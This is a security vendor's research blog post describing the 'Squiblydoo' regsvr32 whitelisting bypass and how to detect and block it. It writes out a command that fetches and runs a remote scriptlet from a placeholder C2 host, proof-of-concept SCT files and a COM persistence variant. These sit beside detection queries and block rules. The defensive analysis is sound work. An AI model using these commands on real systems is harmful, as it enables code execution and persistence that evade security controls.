Recently, the Carbon Black Threat Research Team was made aware of a post exploitation technique, dubbed “Squiblydoo,” designed to bypass application whitelisting software by utilizing tools that are built into the operating system by default. In other words, Squiblydoo provides a way for an unapproved scripts to run on a machine that is setup to allow only approved scripts to run.

This discovery continues a trend of attackers using native OS tools to conduct attacks, a trend that has been well documented in recent months. (The Carbon Black Threat Research Team recently discovered malware written in PowerShell.)

Never previously seen in the wild, Squiblydoo allows a user with normal privileges to download and execute a script hosted on a remote server. All of this is done with signed Microsoft binaries that are installed with the operating system. Because the script is hosted remotely and it’s run by a legitimate Microsoft binary, Squiblydoo evades many of the normal detection and blocking mechanisms inherent to whitelisting solutions.

With the proper configurations, Carbon Black can detect and prevent Squiblydoo.

Observed Behavior

Squiblydoo utilizes the binary regsvr32.exe (a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry) to download an XML file that contains scriptlets for executing code on the victim machine. The POC XML files utilize various pieces of the operating system to run arbitrary code.  Attackers can utilize ActiveX and embed custom VB or JS in the XML file to carry out any type of attacks. The key here is that tools inherent to the operating system are being used.

To go along with the code execution by Microsoft, signed binaries the attack can also be used for persistence mechanisms by creating Component Object Model (COM) Objects backed by scripts and not DLLs.

The technique is a great find and will more than likely be utilized by more than just penetration testers in the long run. The attack allows a regular user to call regsvr32.exe pass in a location (on disk or remote) to a Windows scriptlet file that will, in turn, register a COM object.

regsvr32.exe /s /i:http://c2/backdoor.sct scrobj.dll

The SCT file (really an XML file) has a registration tag in it that can contain VBScript or JScript code.  Note that the file can have any extension. It doesn’t have to be .sct, but the technique is built around the SCT file usage and the Windows Script Components Service. The example SCT below calls calc.exe

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>

In this example, the script was pulled down from a remote site, though this technique could also be used with a local script file. While it is potentially stealthier to load the script this way, there may be other cases where it is easier for an attacker to just drop a script file.

Detecting Squiblydoo with Carbon Black Enterprise Response

Let’s turn to the classic example of popping calc.exe and see what we can dig up.  To carry out our calc.exe attack we run the command of “regsvr32 /s /i:http://C2/calc.sct scrobj.dll”. This command will download our SCT file (same XML format as above) and execute calc.exe

Leveraging Carbon Black Response, we can see some interesting behavior that can be useful for detecting this type of activity, regardless of whether the payload is a calculator application or a more nefarious piece of code. The image below is the data from the Carbon Black Response console. Since Enterprise Response is always recording the activity on your machine, there’s a clear chain of events that happened when running this bypass.

Are any of these events anomalous enough to turn into a good alert? Yes! Let’s examine them in more detail.

sq1

Although it may bypass some whitelisting that isn’t properly configured, this is not a stealthy set of operations. There’s a lot of anomalous behavior for the regsvr32 process here. We can build a set of pretty decent queries just on the data in the screenshot above.

Queries such as:

process_name:regsvr32.exe and modload:scrobj.dll
process_name:regsvr32.exe and netconn_count:[1 to *]

These are not bad queries for catching some suspicious behavior. In fact, we’ve been running the query of “process_name:regsvr32.exe and netconn_count: [1 to *]” for catching a malware family called Kovter so that query is multi-purpose!

We don’t have to stop there. There’s a lot of other interesting indicators when someone attempts this bypass.

One of the first things I noticed was not the child process of calc.exe but the loading of wshom.ocx as a module. Wshom.ocx is the module responsible for ActiveX control used to create shortcuts, enumerate network drives, and so forth, by the Windows Scripting Host Object Model. Loading wshom.ocx makes sense since the XML file is utilizing ActiveX:

var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");

In the case of this XML file the language of choice is JScript.

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>

Since the XML file is using JScript, the regsvr32.exe process also loads the jscript.dll:

sq2

The process regsvr32.exe utilizing these two resources is extremely suspicious. This gives us a nice query for this type of activity that looks like:

process_name:regsvr32.exe modload:jscript.dll modload:wshom.ocx 

A change to the XML to swap out JScript to VBScript is also a simple change to our query:

 process_name:regsvr32.exe modload:vbscript.dll modload:wshom.ocx

To catch either JScript or VBScript being utilized with ActiveX, the query would be:

 process_name:regsvr32.exe (modload:jscript.dll OR modload:vbscript.dll) modload:wshom.ocx modload:scrobj.dll

That should take care of using regsvr32.exe to launch payloads, but what about using it to build COM Objects? When regsvr32.exe is utilized to build COM Objects, we have almost the exact same DLL usage except for the usage of wshom.ocx. We then adjust the previous query to:

 process_name:regsvr32.exe (modload:jscript.dll OR modload:vbscript.dll) modload:scrobj.dll

Using Squiblydoo for Persistence

This technique can also be utilized as a persistence mechanism to register a COM Object and then utilize that COM object in other pieces of code. To do this, the attacker has to have administrative privileges on the system.  The technique for obtaining the scriptlet file is the same, but the scriptlet is put together a little differently.

Using regsvr32.exe to download and execute code via an SCT file doesn’t leave any registry artifacts, but when utilized in combination to register a COM Object there are specific signs in the registry we can look for.

The contents of the new script to run calc.exe would look something like this:

<?XML version="1.0"?>
<scriptlet>
<registration
  description="Component"
  progid="Component.TESTCB"
  version="1.00"
  classid="{20002222-0000-0000-0000-000000000002}"
>
</registration>

<public>
  <method name="exec">
  </method>
</public>
<script language="JScript">
  <![CDATA[
    function exec(){
      new ActiveXObject('WScript.Shell').Run('calc.exe');
    }
  ]]>
</script>
</scriptlet>

This file is downloaded and the code run just like the earlier example “regsvr32.exe /s /i:http://c2/backdoor.sct scrobj.dll”

Notice how the scriptlet registers the “exec” function as a COM Object that can be utilized:

<public>
  <method name=”exec”>
  </method>
</public>

To execute this COM Object, we have to run a script on the system that utilizes the “exec” function from the first scriptlet file. The contents of our new script would be something like:

var test = new ActiveXObject("Component.TESTCB");
test.exec()

COM Objects can be seen in the registry, which helps us to be able to watch for this activity in detail.  When a COM Object is being created we can find it being written to the HKEY_CLASSES_ROOT and HKEY_LOCAL_MACHINE sections of the registry.

The images below are from our POC where we registered the “TESTCB” COM Object which, when called, will execute calc.exe.

sq3

sq4

To detect this type of activity we can use our query of “process_name:regsvr32.exe (modload:jscript.dll OR modload:vbscript.dll)” and add the pieces for registry activity.

process_name:regsvr32.exe (modload:jscript.dll OR modload:vbscript.dll) regmod:registry\machine\software\classes\*

For further reading on this topic visit this write up.

For Carbon Black Response customers, we’ve included the following queries in their Advanced Threat Feed to automatically detect abuse of Regsvr:

           

Attempted Whitelisting Bypass process_name:regsvr32.exe modload:scrobj.dll
RegSvr32 Loading JScript or VBScript process_name:regsvr32.exe and (modload:jscript.dll or modload:vbscript.dll)

           

We encourage customers to try out some of the other queries suggested in this report and give us feedback on our User eXchange about which ones they find the most valuable.

Preventing Squiblydoo Using Custom Rules in Carbon Black Enterprise Protection

We know Carbon Black Response can easily detect this activity. Can Carbon Black Protection stop it? With configuration, the answer is: absolutely.

The original researcher is correct in his original assumption: it can be challenging for a whitelisting application to block a legitimate Microsoft binary from executing code on the Internet if that’s part of its built-in functionality. However, the same anomalous module loads that Enterprise Response detected can be both detected and blocked in Enterprise Protection. In our next release of ATIs, we will push this detection out to all customers.

For Carbon Black customers who want to put some custom rules in place on Enterprise Protection and prevent this behavior, you can easily implement a custom rule that will do the job.

Rule Type: Execution Control

Action: Block

Path or File: scrobj.dll

Process: <System>\regsvr32.exe, <Systemx86>\regsvr32.exe

We looked for instances of regsvr32.exe loading scrobj.dll in our environment and didn’t find any instances. Therefore, we expect that this rule should be safe in most environments. Having said that, we always recommend that you first implement a blocking rule with a “Report” action, as opposed to a block. This will allow you to first see if this activity is occurring in your environment and gauge the impact. Once you’re comfortable with it, you can just change the action to “Block,” which will prevent this activity from occurring. We cover regsvr32.exe in \Windows\System32 as well as the copy in \Windows\SysWOW64 for completeness.

Here’s a screenshot showing what the block rule would look like:

sq5


And here’s a screenshot showing the block screen that will appear when Enterprise Protection sees this activity on an endpoint:

sq6

You can also configure the rule so that it will not show a block screen by selecting “block silently” for the execute action.

If you like, you can also add jscript.dll and vbscript.dll to be blocked along with scrobj.dll. While doing this has the potential to cause more issues, it may provide more protection in the event the attacker drops a custom DLL and you’re running in an enforcement level that would allow that execution, or if another approved dll is discovered that has the same capability.

Conclusions

Although the discovery of new tricks to bypass security products can be stressful or frustrating, we’re incredibly grateful to Casey Smith for doing this research and giving us (as well as other vendors) one more thing to think about.

People frequently say that security is an arms race. We need to keep challenging ourselves and our tools to keep up with the adversary’s next trick.  As it turns out, it’s very easy to use the detection and prevention capabilities of Carbon Black to catch and shut down this particular bypass.

References

  •        http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
  •        http://en.wooyun.io/2016/04/23/Use_SCT_to_Bypass_Application_Whitelisting_Protection.html
  •        https://github.com/subTee/SCTPersistence